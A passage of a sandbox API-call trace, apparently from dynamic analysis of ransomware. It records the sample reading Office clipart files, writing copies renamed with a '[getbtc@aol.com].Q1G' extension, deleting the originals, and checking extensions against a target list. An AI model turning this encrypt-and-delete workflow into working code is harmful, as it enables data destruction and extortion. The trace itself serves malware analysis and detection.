dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.171] GetLastError () returned 0x0 [0261.171] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x6890, lpOverlapped=0x0) returned 1 [0261.182] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x68a0, lpOverlapped=0x0) returned 1 [0261.183] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.183] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.183] SetEndOfFile (hFile=0x3c4) returned 1 [0261.183] CloseHandle (hObject=0x3c4) returned 1 [0261.183] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.183] SetEndOfFile (hFile=0x1b8) returned 1 [0261.185] CloseHandle (hObject=0x1b8) returned 1 [0261.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0261.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.186] lstrlenW (lpString=".doc") returned 4 [0261.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.186] lstrlenW (lpString=".docx") returned 5 [0261.186] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.186] lstrlenW (lpString=".pdf") returned 4 [0261.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.186] lstrlenW (lpString=".xls") returned 4 [0261.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.186] lstrlenW (lpString=".xlsx") returned 5 [0261.186] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.187] lstrlenW (lpString=".ppt") returned 4 [0261.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".zip") returned 4 [0261.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.187] lstrlenW (lpString=".rar") returned 4 [0261.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString=".bz2") returned 4 [0261.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString=".7z") returned 3 [0261.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".dbf") returned 4 [0261.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".1cd") returned 4 [0261.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".jpg") returned 4 [0261.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".doc") returned 4 [0261.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString=".docx") returned 5 [0261.187] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.187] lstrlenW (lpString=".pdf") returned 4 [0261.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString=".xls") returned 4 [0261.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.187] lstrlenW (lpString=".xlsx") returned 5 [0261.187] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.187] lstrlenW (lpString=".ppt") returned 4 [0261.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.187] lstrlenW (lpString=".zip") returned 4 [0261.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.188] lstrlenW (lpString=".rar") returned 4 [0261.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.188] lstrlenW (lpString=".bz2") returned 4 [0261.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.188] lstrlenW (lpString=".7z") returned 3 [0261.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.188] lstrlenW (lpString=".dbf") returned 4 [0261.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.188] lstrlenW (lpString=".1cd") returned 4 [0261.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0261.188] lstrlenW (lpString=".jpg") returned 4 [0261.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.188] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.188] lstrlenW (lpString="J0107708.WMF") returned 12 [0261.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.413] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4808) returned 1 [0261.413] CloseHandle (hObject=0x37c) returned 1 [0261.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0261.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.444] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.445] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.445] GetLastError () returned 0x0 [0261.445] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0261.455] WriteFile (in: hFile=0x1f8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0261.456] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.456] WriteFile (in: hFile=0x1f8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.456] SetEndOfFile (hFile=0x1f8) returned 1 [0261.457] CloseHandle (hObject=0x1f8) returned 1 [0261.457] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.457] SetEndOfFile (hFile=0x39c) returned 1 [0261.461] CloseHandle (hObject=0x39c) returned 1 [0261.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0261.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.465] lstrlenW (lpString=".doc") returned 4 [0261.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.465] lstrlenW (lpString=".docx") returned 5 [0261.465] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.465] lstrlenW (lpString=".pdf") returned 4 [0261.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.465] lstrlenW (lpString=".xls") returned 4 [0261.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.465] lstrlenW (lpString=".xlsx") returned 5 [0261.465] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.465] lstrlenW (lpString=".ppt") returned 4 [0261.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.465] lstrlenW (lpString=".zip") returned 4 [0261.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.465] lstrlenW (lpString=".rar") returned 4 [0261.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.465] lstrlenW (lpString=".bz2") returned 4 [0261.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString=".7z") returned 3 [0261.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString=".dbf") returned 4 [0261.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString=".1cd") returned 4 [0261.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString=".jpg") returned 4 [0261.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString=".doc") returned 4 [0261.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString=".docx") returned 5 [0261.466] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.466] lstrlenW (lpString=".pdf") returned 4 [0261.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString=".xls") returned 4 [0261.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.466] lstrlenW (lpString=".xlsx") returned 5 [0261.466] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.466] lstrlenW (lpString=".ppt") returned 4 [0261.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.466] lstrlenW (lpString=".zip") returned 4 [0261.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.466] lstrlenW (lpString=".rar") returned 4 [0261.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString=".bz2") returned 4 [0261.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.466] lstrlenW (lpString=".7z") returned 3 [0261.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.467] lstrlenW (lpString=".dbf") returned 4 [0261.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.467] lstrlenW (lpString=".1cd") returned 4 [0261.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0261.467] lstrlenW (lpString=".jpg") returned 4 [0261.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.467] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.467] lstrlenW (lpString="J0144773.JPG") returned 12 [0261.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.499] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=40231) returned 1 [0261.499] CloseHandle (hObject=0x1f8) returned 1 [0261.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0261.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.546] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.546] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.547] GetLastError () returned 0x0 [0261.547] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x9d27, lpOverlapped=0x0) returned 1 [0261.572] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0261.573] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.573] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.573] SetEndOfFile (hFile=0x3d8) returned 1 [0261.573] CloseHandle (hObject=0x3d8) returned 1 [0261.573] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.573] SetEndOfFile (hFile=0x1bc) returned 1 [0261.576] CloseHandle (hObject=0x1bc) returned 1 [0261.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".doc") returned 4 [0261.774] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.774] lstrlenW (lpString=".docx") returned 5 [0261.774] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0261.774] lstrlenW (lpString=".pdf") returned 4 [0261.774] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.774] lstrlenW (lpString=".xls") returned 4 [0261.774] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.774] lstrlenW (lpString=".xlsx") returned 5 [0261.774] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0261.774] lstrlenW (lpString=".ppt") returned 4 [0261.774] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".zip") returned 4 [0261.774] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.774] lstrlenW (lpString=".rar") returned 4 [0261.774] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.774] lstrlenW (lpString=".bz2") returned 4 [0261.774] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.774] lstrlenW (lpString=".7z") returned 3 [0261.774] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".dbf") returned 4 [0261.774] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".1cd") returned 4 [0261.774] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".jpg") returned 4 [0261.774] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.774] lstrlenW (lpString=".doc") returned 4 [0261.775] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.775] lstrlenW (lpString=".docx") returned 5 [0261.775] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0261.775] lstrlenW (lpString=".pdf") returned 4 [0261.775] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.775] lstrlenW (lpString=".xls") returned 4 [0261.775] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.775] lstrlenW (lpString=".xlsx") returned 5 [0261.775] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0261.775] lstrlenW (lpString=".ppt") returned 4 [0261.775] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.775] lstrlenW (lpString=".zip") returned 4 [0261.775] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.775] lstrlenW (lpString=".rar") returned 4 [0261.775] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.775] lstrlenW (lpString=".bz2") returned 4 [0261.775] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.775] lstrlenW (lpString=".7z") returned 3 [0261.775] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.775] lstrlenW (lpString=".dbf") returned 4 [0261.775] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.775] lstrlenW (lpString=".1cd") returned 4 [0261.775] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63 [0261.775] lstrlenW (lpString=".jpg") returned 4 [0261.775] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.775] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.775] lstrlenW (lpString="J0145373.JPG") returned 12 [0261.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.776] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17867) returned 1 [0261.776] CloseHandle (hObject=0x3dc) returned 1 [0261.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0261.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.777] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.777] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.777] GetLastError () returned 0x0 [0261.777] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x45cb, lpOverlapped=0x0) returned 1 [0261.800] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x45d0, 